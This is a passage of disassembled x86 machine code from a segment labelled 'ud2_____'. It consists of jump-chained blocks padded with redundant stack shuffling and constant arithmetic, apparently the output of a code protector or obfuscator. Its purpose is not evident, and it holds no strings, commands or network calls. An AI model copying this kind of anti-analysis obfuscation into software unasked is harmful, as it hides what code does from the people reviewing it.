		add	ebp, 29B2CEB6h
		jmp	loc_58CC01
; ---------------------------------------------------------------------------


loc_58B20C:				; CODE XREF: ud2_____:005804ADj
		pop	ebx
		add	ecx, ebx
		sub	ecx, 15AC4900h
		pop	ebx
		push	dword ptr [ecx]
		add	dword ptr [esp], 2F6F2DBCh
		pop	eax
		push	6351h
		mov	[esp], edx
		push	ebp
		mov	ebp, 2F6F2DBCh
		mov	edx, ebp
		pop	ebp
		sub	eax, edx
		mov	edx, [esp]
		jmp	loc_57E552
; ---------------------------------------------------------------------------


loc_58B23B:				; CODE XREF: ud2_____:0058A8C5j
		add	esi, 4
		add	esi, 4
		jmp	loc_57E0BF
; ---------------------------------------------------------------------------


loc_58B249:				; CODE XREF: ud2_____:00586493j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_58BE74
; ---------------------------------------------------------------------------


loc_58B257:				; CODE XREF: ud2_____:005911F2j
		neg	ebp
		jmp	loc_58BFEF
; ---------------------------------------------------------------------------


loc_58B25E:				; CODE XREF: ud2_____:0058CB63j
		mov	al, 57h
		jmp	loc_590AB0
; ---------------------------------------------------------------------------


loc_58B265:				; CODE XREF: ud2_____:00583131j
		push	eax
		mov	eax, esp
		jmp	loc_584082
; ---------------------------------------------------------------------------


loc_58B26D:				; CODE XREF: ud2_____:00580B4Ej
		push	ecx
		mov	ecx, 4D39116Dh
		and	ecx, 1FC150B4h
		inc	ecx
		add	ecx, 46ED5083h
		and	ecx, 3E6669AFh
		push	ebp
		mov	ebp, 126660ACh
		xor	ecx, ebp
		pop	ebp
		add	ebp, ecx
		pop	ecx
		jmp	loc_5847CC
; ---------------------------------------------------------------------------


loc_58B297:				; CODE XREF: ud2_____:005856D1j
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	439Bh
		jmp	loc_5897C3
; ---------------------------------------------------------------------------


loc_58B2AF:				; CODE XREF: ud2_____:0058730Ej
		push	esi
		mov	esi, esp
		push	ecx
		mov	ecx, 23B03354h
		and	ecx, 2C390867h
		shr	ecx, 6
		xor	ecx, 80C005h
		jmp	loc_58C083
; ---------------------------------------------------------------------------


loc_58B2CC:				; CODE XREF: ud2_____:0058723Bj
		sub	[esp+8], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58B2EE:				; CODE XREF: ud2_____:00586003j
		sub	ebx, 1D6D9C2Dh
		add	eax, ebx
		jmp	loc_58C23C
; ---------------------------------------------------------------------------


loc_58B2FB:				; CODE XREF: ud2_____:00583D3Aj
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_581B30
; ---------------------------------------------------------------------------


loc_58B307:				; CODE XREF: ud2_____:0057FAE5j
		push	664Bh
		mov	[esp], ebx
		jmp	loc_585641
; ---------------------------------------------------------------------------


loc_58B314:				; CODE XREF: ud2_____:0057EEE1j
		push	699A5063h
		jmp	loc_587C20
; ---------------------------------------------------------------------------


loc_58B31E:				; CODE XREF: ud2_____:00586AA0j
		push	ebx
		push	edx
		jmp	loc_5815AB
; ---------------------------------------------------------------------------


loc_58B325:				; CODE XREF: ud2_____:00592208j
		xor	ebx, eax
		pop	eax
		mov	esi, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		push	3F10h
		mov	[esp], ebx
		mov	ebx, 15A7126h
		add	[esp+4], ebx
		pop	ebx
		pop	edx
		sub	edx, 15A7126h
		jmp	loc_58964C
; ---------------------------------------------------------------------------


loc_58B352:				; CODE XREF: ud2_____:00583E3Fj
		sub	eax, 71651C04h
		add	eax, edx
		add	eax, 71651C04h
		mov	edx, [esp]
		push	eax
		push	esp
		jmp	loc_57FF0C
; ---------------------------------------------------------------------------


loc_58B368:				; CODE XREF: ud2_____:0057E9D2j
		mov	di, 0A2ADh
		mov	bp, di
		pop	di
		add	bp, bx
		jmp	loc_581555
; ---------------------------------------------------------------------------


loc_58B379:				; CODE XREF: ud2_____:0058D046j
		mov	[esp], ebp
		mov	ebp, 663D799Ch
		xor	ecx, ebp
		pop	ebp
		jmp	loc_58C510
; ---------------------------------------------------------------------------


loc_58B389:				; CODE XREF: ud2_____:0058EA36j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_58B589
; ---------------------------------------------------------------------------


loc_58B39A:				; CODE XREF: ud2_____:005815A6j
		pop	edi
		add	ebp, 1CC146A3h
		add	eax, ebp
		push	dword ptr [esp]
		jmp	loc_58CB87
; ---------------------------------------------------------------------------


loc_58B3AB:				; CODE XREF: ud2_____:0058FDA1j
		mov	ebp, 31711034h
		mov	ecx, 15170E1Ch
		xor	ecx, ebp
		pop	ebp
		or	ecx, 421147C8h
		push	eax
		push	esi
		mov	esi, 3B4A1B6Fh
		mov	eax, esi
		pop	esi
		sub	ecx, 1C9848B6h
		jmp	loc_58ED0A
; ---------------------------------------------------------------------------


loc_58B3D3:				; CODE XREF: ud2_____:005879ADj
		pop	eax
		xor	edx, [esp]
		jmp	loc_583006
; ---------------------------------------------------------------------------


loc_58B3DC:				; CODE XREF: ud2_____:00582655j
		mov	ecx, [esp]
		push	edi
		jmp	loc_592748
; ---------------------------------------------------------------------------


loc_58B3E5:				; CODE XREF: ud2_____:0058B9A4j
		push	2AE7h
		mov	[esp], edi
		mov	edi, 4E3B37A2h
		push	edi
		jmp	loc_58DC23
; ---------------------------------------------------------------------------


loc_58B3F8:				; CODE XREF: ud2_____:0058E449j
		add	ecx, 5E917CF4h
		mov	esi, [esp]
		add	esp, 4
		sub	edi, 401E795Fh
		add	edi, 75727205h
		jmp	loc_591095
; ---------------------------------------------------------------------------


loc_58B418:				; CODE XREF: ud2_____:00582491j
		mov	esp, [esp]
		push	2128h
		mov	[esp], eax
		mov	eax, esp
		push	edx
		mov	edx, 4FD10EB3h
		inc	edx
		xchg	eax, edx
		push	eax
		not	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		xchg	eax, edx
		not	edx
		and	edx, 6BF85E0Ch
		xor	edx, 4BD00E00h
		add	eax, edx
		jmp	loc_58559F
; ---------------------------------------------------------------------------


loc_58B44D:				; CODE XREF: ud2_____:0058BDAFj
		pop	eax
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 0E6ECD025h
		sub	ebp, 4BEF793Bh
		add	ebp, ecx
		jmp	loc_585B55
; ---------------------------------------------------------------------------


loc_58B469:				; CODE XREF: ud2_____:00583B13j
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, 30D41B25h
		jmp	loc_58D5F9
; ---------------------------------------------------------------------------


loc_58B47D:				; CODE XREF: ud2_____:00592B16j
		push	2CA9h
		mov	[esp], ebp
		push	ebx
		mov	ebx, 6B226FAEh
		jmp	loc_57FF68
; ---------------------------------------------------------------------------


loc_58B490:				; CODE XREF: ud2_____:005846D6j
		push	edi
		mov	edi, 4563541Fh
		jmp	loc_587B36
; ---------------------------------------------------------------------------


loc_58B49B:				; CODE XREF: ud2_____:0058F9BEj
		add	eax, 5B5F737Ch
		neg	eax
		jmp	loc_58E79B
; ---------------------------------------------------------------------------


loc_58B4A7:				; CODE XREF: ud2_____:005805C6j
		shr	edx, 1
		push	0
		jmp	loc_592859
; ---------------------------------------------------------------------------


loc_58B4B3:				; CODE XREF: ud2_____:00587CDBj
		pop	esi
		jmp	loc_589E89
; ---------------------------------------------------------------------------


loc_58B4B9:				; CODE XREF: ud2_____:0058F3F8j
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	loc_588EED
; ---------------------------------------------------------------------------


loc_58B4C9:				; CODE XREF: ud2_____:0058813Ej
		push	esi
		jmp	loc_58D206
; ---------------------------------------------------------------------------


loc_58B4CF:				; CODE XREF: ud2_____:0057E0F4j
		shl	ebx, 4
		push	0
		sub	[esp], ebx
		pop	ebx
		push	0FD0h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 6EF14F09h
		push	ebp
		mov	esi, [esp]
		jmp	loc_58FFEC
; ---------------------------------------------------------------------------


loc_58B4F7:				; CODE XREF: ud2_____:00590D77j
		add	esi, ebx
		pop	ebx
		sub	eax, 77400DE0h
		jmp	loc_58490F
; ---------------------------------------------------------------------------


loc_58B504:				; CODE XREF: ud2_____:00589D5Aj
		xchg	ebx, ecx
		not	ebx
		jmp	loc_585168
; ---------------------------------------------------------------------------


loc_58B50D:				; CODE XREF: ud2_____:0058F1BBj
		xor	eax, 24327E3Dh
		and	esi, eax
		pop	eax
		dec	esi
		dec	esi
		jmp	loc_588A97
; ---------------------------------------------------------------------------


loc_58B51C:				; CODE XREF: ud2_____:0057FD0Fj
		mov	[esp], ebx
		jmp	loc_58C955
; ---------------------------------------------------------------------------


loc_58B524:				; CODE XREF: ud2_____:00588A0Cj
		xchg	ecx, [esp]
		pop	esp
		push	4988h
		mov	[esp], ebp
		push	esp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	eax
		push	ebx
		jmp	loc_583E24
; ---------------------------------------------------------------------------


loc_58B542:				; CODE XREF: ud2_____:0058CB18j
		xchg	edx, ebx
		dec	edx
		xchg	edx, ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 10215BDDh
		sub	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_57FD4D
; ---------------------------------------------------------------------------


loc_58B562:				; CODE XREF: ud2_____:00590824j
		sub	ebx, 72991D63h
		add	ebx, 78DFD547h
		sub	esi, ebx
		pop	ebx
		jmp	loc_57FFA4
; ---------------------------------------------------------------------------


loc_58B576:				; CODE XREF: ud2_____:005820D2j
		mov	bh, 22h
		inc	bh
		shl	bh, 1
		push	ax
		mov	ah, 20h
		sub	bh, ah
		pop	ax
		jmp	loc_586ADC
; ---------------------------------------------------------------------------


loc_58B589:				; CODE XREF: ud2_____:0058B395j
		pop	esp
		xor	esi, 6CBA2255h
		jmp	loc_581AF6
; ---------------------------------------------------------------------------


loc_58B595:				; CODE XREF: ud2_____:0058BA9Fj
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_591E18
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		pop	eax
		push	3DD3h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_580E35
; ---------------------------------------------------------------------------


loc_58B5CB:				; CODE XREF: ud2_____:00590440j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	edx, 2
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_58C703
; ---------------------------------------------------------------------------


loc_58B607:				; CODE XREF: ud2_____:0057F291j
		mov	al, ch
		jmp	loc_58E73D
; ---------------------------------------------------------------------------


loc_58B60E:				; CODE XREF: ud2_____:00581EF5j
		xchg	ebp, [esp]
		pop	esp
		push	esi
		mov	esi, 521F3724h
		sub	ebx, esi
		pop	esi
		sub	ebx, 0E63ACFFBh
		push	2AEAh
		mov	[esp], ebx
		jmp	loc_57EF04
; ---------------------------------------------------------------------------


loc_58B62E:				; CODE XREF: ud2_____:0058DBF9j
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		mov	ebp, 0B1B6559h
		push	5E7Ch
		mov	[esp], esi
		jmp	loc_590801
; ---------------------------------------------------------------------------


loc_58B646:				; CODE XREF: ud2_____:00590EC6j
		xor	ebp, edx
		xor	edx, ebp
		xor	ebp, edx
		not	edx
		jmp	loc_58C395
; ---------------------------------------------------------------------------


loc_58B653:				; CODE XREF: ud2_____:00587A23j
		add	ecx, 0AF7189A0h
		jmp	loc_58A60F
; ---------------------------------------------------------------------------


loc_58B65E:				; CODE XREF: ud2_____:0058C950j
		mov	cl, 1Fh
		sub	al, 0Ch
		add	al, cl
		add	al, 0Ch
		pop	ecx
		mov	bh, al
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		inc	bh
		jmp	loc_5926BF
; ---------------------------------------------------------------------------


loc_58B67C:				; CODE XREF: ud2_____:00581290j
		add	ebx, 48511D4Fh
		jmp	loc_5821EA
; ---------------------------------------------------------------------------


loc_58B687:				; CODE XREF: ud2_____:0058E964j
		shr	edx, 6
		add	edx, 523ED774h
		mov	ebx, edx
		pop	edx
		jmp	loc_588CF5
; ---------------------------------------------------------------------------


loc_58B698:				; CODE XREF: ud2_____:0057F195j
		sub	esp, 4
		mov	[esp], esp
		push	ecx
		mov	ecx, 4
		jmp	loc_585697
; ---------------------------------------------------------------------------


loc_58B6A9:				; CODE XREF: ud2_____:0057E7F2j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_58D34A
; ---------------------------------------------------------------------------


loc_58B6DF:				; CODE XREF: ud2_____:005884CDj
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_58A602
; ---------------------------------------------------------------------------


loc_58B6EC:				; CODE XREF: ud2_____:00587F45j
		mov	[esp], ebp
		mov	ebp, esp
		push	6297h
		jmp	loc_590B79
; ---------------------------------------------------------------------------


loc_58B6FB:				; CODE XREF: ud2_____:0058E5A2j
		inc	esi
		sub	esi, 0AB7EC598h
		mov	ebp, esi
		jmp	loc_58BC5C
; ---------------------------------------------------------------------------


loc_58B709:				; CODE XREF: ud2_____:00591DE8j
		mov	esi, esp
		add	esi, 4
		jmp	loc_586EF7
; ---------------------------------------------------------------------------


loc_58B716:				; CODE XREF: ud2_____:0058D015j
		push	ebp
		push	esp
		pop	ebp
		push	15BFh
		jmp	loc_589EF9
; ---------------------------------------------------------------------------


loc_58B723:				; CODE XREF: ud2_____:005801B4j
		pop	esp
		mov	[esp], edi
		jmp	loc_5806F5
; ---------------------------------------------------------------------------


loc_58B72C:				; CODE XREF: ud2_____:0058E068j
		push	ebp
		push	edx
		jmp	loc_589F1A
; ---------------------------------------------------------------------------


loc_58B733:				; CODE XREF: ud2_____:0057E458j
		sub	edi, 3A527EF5h
		jmp	loc_57F3CF
; ---------------------------------------------------------------------------


loc_58B73E:				; CODE XREF: ud2_____:0057F322j
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		push	633Dh
		mov	[esp], ebx
		mov	ebx, 1B2F11F0h
		not	ebx
		sub	ebx, 552D7845h
		xor	ebx, 8FA375CEh
		add	edx, ebx
		pop	ebx
		jmp	loc_57F21B
; ---------------------------------------------------------------------------


loc_58B76B:				; CODE XREF: ud2_____:0057F51Fj
		xor	ecx, eax
		pop	eax
		sub	ecx, 1
		not	ecx
		sub	ecx, 739862Ah
		or	[edi+1Ch], ecx
		jmp	loc_589CBD
; ---------------------------------------------------------------------------


loc_58B784:				; CODE XREF: ud2_____:00587700j
		push	6A7Ch
		mov	[esp], ebx
		mov	ebx, 330747C8h
		mov	ecx, ebx
		jmp	loc_57EE13
; ---------------------------------------------------------------------------


loc_58B798:				; CODE XREF: ud2_____:0058A93Aj
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 2
		jmp	loc_586A9A
; ---------------------------------------------------------------------------


loc_58B7A8:				; CODE XREF: ud2_____:0058480Aj
		mov	dh, ah
		pop	eax
		jmp	loc_588488
; ---------------------------------------------------------------------------


loc_58B7B0:				; CODE XREF: ud2_____:00587B1Fj
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_58C18D
; ---------------------------------------------------------------------------


loc_58B7BE:				; CODE XREF: ud2_____:005923B2j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_590591
; ---------------------------------------------------------------------------


loc_58B7D2:				; CODE XREF: ud2_____:0057FE2Ej
		jnz	loc_58A6EF
		push	ebp
		push	2A98h
		mov	[esp], eax
		mov	eax, 588A416Eh
		sub	esp, 4
		mov	[esp], edi
		mov	edi, eax
		push	ecx
		jmp	loc_587924
; ---------------------------------------------------------------------------


loc_58B7F4:				; CODE XREF: ud2_____:00580021j
		add	esi, 4
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		jmp	loc_57F2BF
; ---------------------------------------------------------------------------


loc_58B807:				; CODE XREF: ud2_____:0058729Ej
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		shr	ebp, 1
		push	edx
		mov	edx, 0C2B1A0Dh
		or	edx, 1B4B4Fh
		sub	edx, 9606124Ah
		sub	ebp, edx
		jmp	loc_58A251
; ---------------------------------------------------------------------------


loc_58B82B:				; CODE XREF: ud2_____:0058789Bj
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		jmp	loc_585970
; ---------------------------------------------------------------------------


loc_58B836:				; CODE XREF: ud2_____:0058239Aj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	edx, 29E20AB8h
		add	edx, edi
		sub	edx, 29E20AB8h
		push	dword ptr [edx]
		push	1C1Bh
		mov	[esp], ebp
		mov	ebp, 2DEB4F1Ah
		xor	[esp+4], ebp
		pop	ebp
		pop	eax
		jmp	loc_58D16C
; ---------------------------------------------------------------------------


loc_58B86B:				; CODE XREF: ud2_____:00584200j
		mov	esi, 21B6001Bh
		neg	esi
		jmp	loc_5810A9
; ---------------------------------------------------------------------------


loc_58B877:				; CODE XREF: ud2_____:0059282Dj
		push	ebx
		push	17945743h
		pop	ebx
		sub	ebx, 22520364h
		add	ebx, 441E6DC8h
		add	ebx, 13F0A3A3h
		mov	eax, ebx
		pop	ebx
		jmp	loc_589F97
; ---------------------------------------------------------------------------


loc_58B898:				; CODE XREF: ud2_____:005864AEj
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 158601CEh
		neg	edx
		jmp	loc_591F7B
; ---------------------------------------------------------------------------


loc_58B8B2:				; CODE XREF: ud2_____:0058CDF1j
		pop	ecx
		add	esi, ebp
		jmp	loc_590277
; ---------------------------------------------------------------------------


loc_58B8BA:				; CODE XREF: ud2_____:00588D06j
		pop	edx
		sub	ebx, 637B7660h
		sub	eax, ebx
		mov	ebx, [esp]
		jmp	loc_590637
; ---------------------------------------------------------------------------


loc_58B8CB:				; CODE XREF: ud2_____:00590096j
		xor	esi, ebp
		jmp	loc_587429
; ---------------------------------------------------------------------------


loc_58B8D2:				; CODE XREF: ud2_____:0058687Fj
		add	esi, ecx
		jmp	loc_589DDC
; ---------------------------------------------------------------------------


loc_58B8D9:				; CODE XREF: ud2_____:0058C8D3j
		pop	esp
		mov	[esp], ecx
		jmp	loc_5894F8
; ---------------------------------------------------------------------------


loc_58B8E2:				; CODE XREF: ud2_____:0057EDE5j
		add	edi, 4
		jmp	loc_58443A
; ---------------------------------------------------------------------------


loc_58B8ED:				; CODE XREF: ud2_____:0057F828j
		pop	ecx
		push	698Eh
		mov	[esp], eax
		mov	eax, 72960242h
		xor	ebx, eax
		push	dword ptr [esp]
		jmp	loc_58FC8C
; ---------------------------------------------------------------------------


loc_58B905:				; CODE XREF: ud2_____:00581FD6j
		xor	eax, edi
		xor	edi, eax
		jmp	loc_57F1C3
; ---------------------------------------------------------------------------


loc_58B90E:				; CODE XREF: ud2_____:00590A01j
		shl	ebx, 2
		jmp	loc_582EEA
; ---------------------------------------------------------------------------


loc_58B916:				; CODE XREF: ud2_____:00584AFFj
		mov	ebp, 618110F7h
		add	ebp, 0FFFFFFFFh
		jmp	loc_592BF7
; ---------------------------------------------------------------------------


loc_58B923:				; CODE XREF: ud2_____:0058CF0Ej
		sub	ebp, 4DA826h
		add	ecx, ebp
		jmp	loc_5921A3
; ---------------------------------------------------------------------------


loc_58B930:				; CODE XREF: ud2_____:00586CABj
		pop	ebp
		jmp	loc_58F030
; ---------------------------------------------------------------------------


loc_58B936:				; CODE XREF: ud2_____:0058AB82j
		xor	ebp, 86A7A182h
		add	edi, ebp
		pop	ebp
		pop	esi
		jmp	loc_58BD38
; ---------------------------------------------------------------------------


loc_58B945:				; CODE XREF: ud2_____:00583956j
		push	ecx
		push	ebp
		push	ecx
		jmp	loc_58F426
; ---------------------------------------------------------------------------


loc_58B94D:				; CODE XREF: ud2_____:005886E4j
		sub	al, bh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_58CB93
; ---------------------------------------------------------------------------


loc_58B95A:				; CODE XREF: ud2_____:0058323Aj
		mov	[esp], ebx
		mov	ebx, 692121D0h
		sub	ebx, 31A3FDAAh
		xor	edi, ebx
		jmp	loc_58E9CA
; ---------------------------------------------------------------------------


loc_58B96F:				; CODE XREF: ud2_____:0058ACE2j
		and	eax, 6DC137E6h
		xor	eax, 0F932FCEAh
		add	edi, eax
		pop	eax
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_58B3E5
; ---------------------------------------------------------------------------


loc_58B9A9:				; CODE XREF: ud2_____:0058AF8Ej
		mov	ecx, 2
		sub	edx, 250C3269h
		add	edx, ecx
		jmp	loc_58E777
; ---------------------------------------------------------------------------


loc_58B9BB:				; CODE XREF: ud2_____:0058714Aj
		mov	[esp], ecx
		mov	ecx, 5E9752A7h
		jmp	loc_57F47E
; ---------------------------------------------------------------------------


loc_58B9C8:				; CODE XREF: ud2_____:005929E2j
		sub	ecx, 2E2B4C30h
		jmp	loc_591967
; ---------------------------------------------------------------------------


loc_58B9D3:				; CODE XREF: ud2_____:0058A402j
		add	edx, 49936A2Ah
		add	edx, edi
		sub	edx, 49936A2Ah
		sub	edx, 21C704E7h
		push	dword ptr [edx]
		mov	ecx, [esp]
		jmp	loc_585FA1
; ---------------------------------------------------------------------------


loc_58B9F1:				; CODE XREF: ud2_____:00590E52j
		pop	edx
		xor	ebp, ebx
		pop	ebx
		xor	ebp, 2E287D35h
		add	eax, ebp
		pop	ebp
		jmp	loc_587E2B
; ---------------------------------------------------------------------------


loc_58BA03:				; CODE XREF: ud2_____:00592448j
		xchg	edi, [esp]
		pop	esp
		ror	byte ptr [esp],	cl
		pushf
		jmp	loc_580CE2
; ---------------------------------------------------------------------------


loc_58BA10:				; CODE XREF: ud2_____:00581E2Cj
		mov	esi, 4
		jmp	loc_57F661
; ---------------------------------------------------------------------------


loc_58BA1A:				; CODE XREF: ud2_____:005852F8j
		mov	esp, [esp]
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebp
		push	ebx
		mov	ebx, 4
		push	ebx
		mov	ebx, 479A0544h
		not	ebx
		add	ebx, 80874112h
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_58ACF1
; ---------------------------------------------------------------------------


loc_58BA47:				; CODE XREF: ud2_____:00592F87j
		mov	esi, 1AED4D1Ch
		mov	ecx, 499F2CAFh
		sub	ecx, 4DF540D4h
		add	ecx, esi
		add	ecx, 4DF540D4h
		pop	esi
		jmp	loc_5803D8
; ---------------------------------------------------------------------------


loc_58BA65:				; CODE XREF: ud2_____:00582C96j
		mov	[esp], ecx
		push	edx
		mov	edx, 0E137BF60h
		mov	ecx, edx
		jmp	loc_5861A4
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	5921h
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_58394A
; ---------------------------------------------------------------------------


loc_58BA88:				; CODE XREF: ud2_____:0058E84Fj
		mov	ebx, esp
		push	edx
		jmp	loc_58069D
; ---------------------------------------------------------------------------


loc_58BA90:				; CODE XREF: ud2_____:0057F385j
		pop	esi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	ecx
		push	esp
		jmp	loc_58B595
; ---------------------------------------------------------------------------


loc_58BAA4:				; CODE XREF: ud2_____:00590CD7j
		pop	esp
		mov	cx, [esp]
		push	3F4Bh
		mov	[esp], edi
		push	72F7h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edi, [esp]
		jmp	loc_57E491
; ---------------------------------------------------------------------------


loc_58BAC6:				; CODE XREF: ud2_____:0058A304j
		mov	eax, edx
		pop	edx
		sub	edx, eax
		pop	eax
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], eax
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		sub	esp, 4
		mov	[esp], ebx
		not	dword ptr [esp]
		pop	ebx
		jmp	loc_58BF53
; ---------------------------------------------------------------------------


loc_58BAF1:				; CODE XREF: ud2_____:0058C546j
		xchg	ebp, [esp]
		pop	esp
		push	edx
		mov	dh, 18h
		inc	dh
		sub	dh, 65h
		or	dh, 69h
		neg	dh
		neg	dh
		xor	dh, 0CCh
		sub	bl, dh
		jmp	loc_57EB93
; ---------------------------------------------------------------------------


loc_58BB0E:				; CODE XREF: ud2_____:00585D91j
		mov	[esp], eax
		mov	eax, 7FEE77CFh
		sub	edi, eax
		pop	eax
		pop	edx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	2E35h
		mov	[esp], ecx
		push	394Eh
		mov	[esp], esi
		push	3A5C3D48h
		jmp	loc_58C0B1
; ---------------------------------------------------------------------------


loc_58BB3A:				; CODE XREF: ud2_____:0058BD0Fj
		add	eax, 4
		jmp	loc_58DF16
; ---------------------------------------------------------------------------


loc_58BB44:				; CODE XREF: ud2_____:0058BE0Bj
		add	esp, 4
		push	32A8h
		jmp	loc_57E593
; ---------------------------------------------------------------------------


loc_58BB51:				; CODE XREF: ud2_____:00581A7Fj
		xor	ebp, 21F3894h
		jmp	loc_58E2CF
; ---------------------------------------------------------------------------


loc_58BB5C:				; CODE XREF: ud2_____:0058DE98j
		pop	esi
		push	0CC2h
		jmp	loc_58F1C8
; ---------------------------------------------------------------------------


loc_58BB67:				; CODE XREF: ud2_____:0057E321j
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	esi, 0E459A8F7h
		add	esi, ebp
		mov	ebp, [esp]
		push	ecx
		jmp	loc_5862E5
; ---------------------------------------------------------------------------


loc_58BB84:				; CODE XREF: ud2_____:00580BCDj
		push	bx
		jmp	loc_582000
; ---------------------------------------------------------------------------


loc_58BB8B:				; CODE XREF: ud2_____:005900E9j
		xor	eax, 26790D2h
		shl	eax, cl
		push	4433h
		jmp	loc_5846D3
; ---------------------------------------------------------------------------


loc_58BB9C:				; CODE XREF: ud2_____:0058463Fj
		pop	esi
		push	ecx
		mov	ecx, 0CF28E9E4h
		sub	ebp, ecx
		pop	ecx
		sub	edx, ebp
		pop	ebp
		add	edx, eax
		push	ebp
		sub	esp, 4
		mov	[esp], edx
		push	9A336Fh
		push	dword ptr [esp]
		jmp	loc_59119B
; ---------------------------------------------------------------------------


loc_58BBBF:				; CODE XREF: ud2_____:00589DDFj
		mov	ecx, [esp]
		add	esp, 4
		push	0CFCh
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_58B171
; ---------------------------------------------------------------------------


loc_58BBDD:				; CODE XREF: ud2_____:0058F38Dj
		mov	ebx, 4FBA2375h
		sub	eax, ebx
		jmp	loc_587E8B
; ---------------------------------------------------------------------------


loc_58BBE9:				; CODE XREF: ud2_____:0058731Dj
		pop	small word ptr [esp]
		add	word ptr [esp],	2
		pop	small word ptr [esp]
		push	small 5873h
		mov	[esp], bp
		push	eax
		jmp	loc_586BDD
; ---------------------------------------------------------------------------


loc_58BC04:				; CODE XREF: ud2_____:005890F3j
		push	ebx
		jmp	loc_58844E
; ---------------------------------------------------------------------------


loc_58BC0A:				; CODE XREF: ud2_____:0058AE2Fj
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_58EE48
; ---------------------------------------------------------------------------


loc_58BC13:				; CODE XREF: ud2_____:0057E9E3j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		push	edx
		jmp	loc_583A42
; ---------------------------------------------------------------------------


loc_58BC2D:				; CODE XREF: ud2_____:00582ECBj
		push	6D15h
		mov	[esp], edx
		push	235Eh
		mov	[esp], esp
		push	edi
		jmp	loc_590C27
; ---------------------------------------------------------------------------


loc_58BC43:				; CODE XREF: ud2_____:00588AFBj
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_585954
; ---------------------------------------------------------------------------


loc_58BC4E:				; CODE XREF: ud2_____:0059037Bj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5887C4
; ---------------------------------------------------------------------------


loc_58BC5C:				; CODE XREF: ud2_____:0058B704j
		pop	esi
		jmp	loc_58D939
; ---------------------------------------------------------------------------


loc_58BC62:				; CODE XREF: ud2_____:0058D76Fj
		push	edi
		jmp	loc_58ACD0
; ---------------------------------------------------------------------------


loc_58BC68:				; CODE XREF: ud2_____:0058BE76j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	esp
		jmp	loc_57F82D
; ---------------------------------------------------------------------------


loc_58BC7E:				; CODE XREF: ud2_____:005877E0j
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		sub	esp, 4
